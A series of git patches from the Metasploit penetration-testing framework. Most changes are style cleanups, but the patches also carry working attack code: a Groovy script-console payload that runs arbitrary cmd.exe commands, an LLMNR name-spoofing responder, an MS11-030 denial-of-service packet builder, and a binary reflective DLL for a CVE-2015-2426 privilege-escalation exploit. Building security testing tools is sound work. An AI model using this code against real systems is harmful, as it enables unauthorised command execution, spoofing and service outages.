"script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27cmd.exe+%2Fc+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run" }).body.to_s - + unless res.nil? output = res.scan(/<pre>(.*?)<\/pre>/m)[1][0][12..-1].gsub("err&gt;", "") end From 56999082400aab59e8c2170b1801da2b10beae3a Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 2 Sep 2015 13:48:01 -0700 Subject: [PATCH 0497/2172] Style cleanup --- lib/msf/core/auxiliary/mdns.rb | 52 ++++++++++++++++++---------------- 1 file changed, 27 insertions(+), 25 deletions(-) diff --git a/lib/msf/core/auxiliary/mdns.rb b/lib/msf/core/auxiliary/mdns.rb index af17eef488..edff4afbed 100644 --- a/lib/msf/core/auxiliary/mdns.rb +++ b/lib/msf/core/auxiliary/mdns.rb @@ -4,18 +4,19 @@ require 'net/dns' module Msf # This module provides methods for working with mDNS module Auxiliary::MDNS - # Initializes an instance of an auxiliary module that uses mDNS def initialize(info = {}) super register_options( - [ - OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.251']), - Opt::RPORT(5353), - OptString.new('NAME', [true, 'The name to query', '_services._dns-sd._udp.local']), - OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'PTR']), - OptString.new('CLASS', [true, 'The query class (name, # or CLASS#)', 'IN']) - ], self.class) + [ + OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.251']), + Opt::RPORT(5353), + OptString.new('NAME', [true, 'The name to query', '_services._dns-sd._udp.local']), + OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'PTR']), + OptString.new('CLASS', [true, 'The query class (name, # or CLASS#)', 'IN']) + ], + self.class + ) end def setup @@ -69,29 +70,30 @@ module Msf def describe_response(response) decoded = Resolv::DNS::Message.decode(response) answers = decoded.answer + if answers.empty? # not sure this will ever happen... "no answers" else # there are often many answers for the same RR, so group them - grouped_answers = answers.group_by { |name,_,_| name } + grouped_answers = answers.group_by { |name, _, _| name } # now summarize each group by noting the resource type and the notable # part(s) of that RR - summarized_answers = grouped_answers.map do |name,these_answers| - summarized_group = these_answers.map do |_,_,data| - friendly_data = case data - when Resolv::DNS::Resource::IN::A - "A #{data.address}" - when Resolv::DNS::Resource::IN::AAAA - "AAAA #{data.address}" - when Resolv::DNS::Resource::IN::PTR - "PTR #{data.name}" - when Resolv::DNS::Resource::IN::SRV - "SRV #{data.target}" - when Resolv::DNS::Resource::IN::TXT - "TXT #{data.strings.join(',')}" - else - data.inspect - end + summarized_answers = grouped_answers.map do |name, these_answers| + summarized_group = these_answers.map do |_, _, data| + case data + when Resolv::DNS::Resource::IN::A + "A #{data.address}" + when Resolv::DNS::Resource::IN::AAAA + "AAAA #{data.address}" + when Resolv::DNS::Resource::IN::PTR + "PTR #{data.name}" + when Resolv::DNS::Resource::IN::SRV + "SRV #{data.target}" + when Resolv::DNS::Resource::IN::TXT + "TXT #{data.strings.join(',')}" + else + data.inspect + end end { "#{name}" => summarized_group } end From 6d1ab101edc9ad44c5fbfa3458001bf06484335d Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 2 Sep 2015 13:52:38 -0700 Subject: [PATCH 0498/2172] Back out all changes to llmnr_response --- .../auxiliary/spoof/llmnr/llmnr_response.rb | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/spoof/llmnr/llmnr_response.rb b/modules/auxiliary/spoof/llmnr/llmnr_response.rb index 35799160cc..b94cb212c8 100644 --- a/modules/auxiliary/spoof/llmnr/llmnr_response.rb +++ b/modules/auxiliary/spoof/llmnr/llmnr_response.rb @@ -70,6 +70,14 @@ attr_accessor :sock, :thread dns_pkt.question.each do |question| name = question.qName + unless name =~ /#{datastore['REGEX']}/i + vprint_status("#{rhost.to_s.ljust 16} llmnr - #{name} did not match REGEX \"#{datastore['REGEX']}\"") + next + end + + if should_print_reply?(name) + print_good("#{rhost.to_s.ljust 16} llmnr - #{name} matches regex, responding with #{datastore['SPOOFIP']}") + end # qType is not a Fixnum, so to compare it with `case` we have to # convert it @@ -91,17 +99,9 @@ attr_accessor :sock, :thread :address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s ) else - vprint_warning("#{rhost.to_s.ljust 16} LLMNR - Skipping unhandled RR query type #{question.qType}") + print_warning("#{rhost.to_s.ljust 16} llmnr - Unknown RR type, this shouldn't happen. Skipping") next end - - if name =~ /#{datastore['REGEX']}/i - if should_print_reply?(name) - print_good("#{rhost.to_s.ljust 16} LLMNR - #{name} matches regex, responding with #{datastore['SPOOFIP']}") - end - else - vprint_status("#{rhost.to_s.ljust 16} LLMNR - #{name} did not match REGEX \"#{datastore['REGEX']}\"") - end end # If we didn't find anything we want to spoof, don't send any @@ -163,7 +163,6 @@ attr_accessor :sock, :thread last_notified = now - @notified_times[host] if last_notified == 0 or last_notified > 10 @notified_times[host] = now - true else false end From 42a2a86f3200ff3f3a03ff0621368f27561acece Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 2 Sep 2015 13:53:10 -0700 Subject: [PATCH 0499/2172] Back out all changes to ms11_030_dnsapi --- .../dos/windows/llmnr/ms11_030_dnsapi.rb | 55 ++++++++++++++++--- 1 file changed, 46 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb b/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb index af2cac6168..afb0eda518 100644 --- a/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb +++ b/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb @@ -9,7 +9,6 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos - include Msf::Auxiliary::LLMNR def initialize super( @@ -36,18 +35,51 @@ class Metasploit3 < Msf::Auxiliary ], 'DisclosureDate' => 'Apr 12 2011') - register_options( + register_options( [ - OptString.new('NAME', [true, 'The name to query', '.1.1.in-addr.arpa']), - OptString.new('TYPE', [true, 'The query type (name, # or TYPE# -- should be PTR)', 'PTR']), - OptString.new('CLASS', [true, 'The query class (name, # or CLASS# -- should be IN)', 'IN']) - ], Msf::Auxiliary::LLMNR) + Opt::RPORT(5355), + Opt::RHOST('224.0.0.252') + ]) end + def make_query(str) + pkt = "" + + # id + pkt << [rand(65535)].pack('n') + + # flags + pkt << [( + '0' + # qr + '0000' + # opcode + '0' + # conflict + '0' + # truncation + '0' + # tenative + '0000' + # zero (reserved) + '0000' # rcode + )].pack('B16') + + # counts + pkt << [1,0,0,0].pack('n*') + + if str[0,1] == "." + pkt << [str.length].pack('C') + end + pkt << str + "\x00" + + # type / class (PTR/IN) + pkt << [0x0c, 0x01].pack('n*') + + pkt + end + + def run connect_udp - # TODO: various compressed queries + # query + + # various compressed queries #pkt << "\x03" + ("%d" % 192) #pkt << "\x03" + "144" + "\x01" + "0" + "\x03" + "168" + "\x03" + "192" #pkt << ("\x01" + '1') * 0x20 @@ -57,8 +89,13 @@ class Metasploit3 < Msf::Auxiliary #pkt << "\x03" + 'ip6' + "\x04" + 'arpa' + "\x00" #pkt << ".e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.e.0.0.0.0.0.0.0.0.0.0.0.0.0.8.e.f".gsub('.', "\x01") + "\x03ip6\x04arpa\x00" - print_status("#{rhost}:#{rport} Sending LLMNR query #{query_type_name}/#{query_type_name} for #{query_name}") - udp_sock.put(query) + pkt = make_query(".1.1.ip6.arpa") + print_status("Sending Ipv6 LLMNR query to #{rhost}") + udp_sock.put(pkt) + + pkt = make_query(".1.1.in-addr.arpa") + print_status("Sending Ipv4 LLMNR query to #{rhost}") + udp_sock.put(pkt) print_status("Note, in a default configuration, the service will restart automatically twice.") print_status("In order to ensure it is completely dead, wait up to 5 minutes and run it again.") From 27174e2bfdea94f1c60af778eed5e29623a8426f Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 2 Sep 2015 13:55:48 -0700 Subject: [PATCH 0500/2172] Revert "Bump scanner THREADS to 10 by default" This reverts commit f537f91943e5687d8b68f06a647236556b4f851c. --- lib/msf/core/auxiliary/scanner.rb | 2 +- lib/msf/core/auxiliary/udp_scanner.rb | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb index bca4a02481..ac4991cbf0 100644 --- a/lib/msf/core/auxiliary/scanner.rb +++ b/lib/msf/core/auxiliary/scanner.rb @@ -18,7 +18,7 @@ def initialize(info = {}) register_options([ OptAddressRange.new('RHOSTS', [ true, "The target address range or CIDR identifier"]), - OptInt.new('THREADS', [ true, "The number of concurrent threads", 10 ] ) + OptInt.new('THREADS', [ true, "The number of concurrent threads", 1 ] ) ], Auxiliary::Scanner) # RHOST should not be used in scanner modules, only RHOSTS diff --git a/lib/msf/core/auxiliary/udp_scanner.rb b/lib/msf/core/auxiliary/udp_scanner.rb index 12814c4f39..d64d0c39ff 100644 --- a/lib/msf/core/auxiliary/udp_scanner.rb +++ b/lib/msf/core/auxiliary/udp_scanner.rb @@ -23,6 +23,7 @@ module Auxiliary::UDPScanner [ Opt::RPORT, OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), + OptInt.new('THREADS', [true, "The number of concurrent threads", 10]) ], self.class) register_advanced_options( From 4d77e777fafebd413b51e6731959ddac5fcb574a Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 2 Sep 2015 13:58:48 -0700 Subject: [PATCH 0501/2172] Remove explicit CLASS options from llmnr mixin use parent's instead --- lib/msf/core/auxiliary/llmnr.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/auxiliary/llmnr.rb b/lib/msf/core/auxiliary/llmnr.rb index 68b3de1c2d..4a3ac4f061 100644 --- a/lib/msf/core/auxiliary/llmnr.rb +++ b/lib/msf/core/auxiliary/llmnr.rb @@ -16,7 +16,6 @@ module Msf # TODO: allow more than one OptString.new('NAME', [true, 'The name to query', 'localhost']), OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'A']), - OptString.new('CLASS', [true, 'The query class (name, # or CLASS#)', 'IN']) ], self.class) end end From ab91d1cc9211e4d41c8cf8a105aaa71eca88fc36 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Wed, 2 Sep 2015 14:01:12 -0700 Subject: [PATCH 0502/2172] More style cleanup --- lib/msf/core/auxiliary/llmnr.rb | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/auxiliary/llmnr.rb b/lib/msf/core/auxiliary/llmnr.rb index 4a3ac4f061..a1617b2226 100644 --- a/lib/msf/core/auxiliary/llmnr.rb +++ b/lib/msf/core/auxiliary/llmnr.rb @@ -10,13 +10,15 @@ module Msf def initialize(info = {}) super register_options( - [ - OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.252']), - Opt::RPORT(5355), - # TODO: allow more than one - OptString.new('NAME', [true, 'The name to query', 'localhost']), - OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'A']), - ], self.class) + [ + OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.252']), + Opt::RPORT(5355), + # TODO: allow more than one + OptString.new('NAME', [true, 'The name to query', 'localhost']), + OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'A']) + ], + self.class + ) end end end From b912e3ce65651c9ac41f56113342a7823871267a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 2 Sep 2015 17:28:35 -0500 Subject: [PATCH 0503/2172] Add exploit template --- .../CVE-2015-2426/reflective_dll.x64.dll | Bin 0 -> 870912 bytes .../windows/local/ms15_078_atmfd_bof.rb | 130 ++++++++++++++++++ 2 files changed, 130 insertions(+) create mode 100755 data/exploits/CVE-2015-2426/reflective_dll.x64.dll create mode 100644 modules/exploits/windows/local/ms15_078_atmfd_bof.rb diff --git a/data/exploits/CVE-2015-2426/reflective_dll.x64.dll b/data/exploits/CVE-2015-2426/reflective_dll.x64.dll new file mode 100755 index 0000000000000000000000000000000000000000..53c53e34a1f037c50abe5c6ef7053bff8cbdaabe GIT binary patch literal 870912 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 Ug z6Ol_yV))q#a5+N*O)$S6Qaz?OOqgyx37m#WlY>7)pd+d23&Qkc`BN^H6^<bX=z@ND zM}B&`jL3T&Urmnn-?5$XYG^hXjB6k?4TcoWKLx!+Ea#kn>Fd=47mJ~k`tdgk6+?p@ zC}1`_Qoty}4LG0%<Rm(w+`{)^K6OXUYNRA%NW>)7$V`qg?HA~YuQS^R!z77h^BU9{ zw!Mou5yRxJ7lu<!$DPIdBa58LbC=LT>Yx_6Ay1>zaRWaa$yaThk09IaiQd*qa+@j| z+e)G-%%oosJ&ne$j*3w7R$fWOyo%W7Gc+3!%Xeqn44%jt(|zcbh5CfmQ&n8vqFN1E zT6nPTiCmXmeO*!YO0_8Oo;tM%nBuG~KubM!*ZE=7riBR6)bcV4O1wjReW~s+t;URd zieJbh!--Ne9R#4kK>Ikgf|&Z*0QjR7W<R!&BCV{zXX>Hd#EnCKD}?moB9G!P5(aw` zcs<3_p3`iG6;%*#eCXrCp;VmgBXw}FhfND1LE<v4Y!^hHTr>rz-t8Xa8NUPA$IR{h zeLL+x`}XU7O0?)riE5P{^<c!E{^%La1(4`m`ii9*8>&Us49I52JLaf8gN%XM__hYK zbjRVp2&!;tW!oW_Y4Ki5__J}^&3oqiObgz}cndLpkQOniD+krhuxioSc1SSm>6o2w zM%VQj*?J3U6F$9J4i4=2VrUXIsiyc^T8P@hx=D#{qY*7Tq}{x4zGlkJLkp92z$h1! zEwn4|&9Ex#c_!-XqWNf^VGTtu7S^V4{HJ<YtaO|sdEj$00<HH$3j!;FfM>j8CPrCz zoGklP?2i;GYh&TwjNo7@GTiD;WRqb(OUA6f?9bs$(VxWlWNP635f@115ojE=nqW3C zcY7ks#>y^torac3%D(snS~Vp5#n9k^=lUhAEG7S`3kS#}X<Ku2+DY(LdC!e}8XHHN 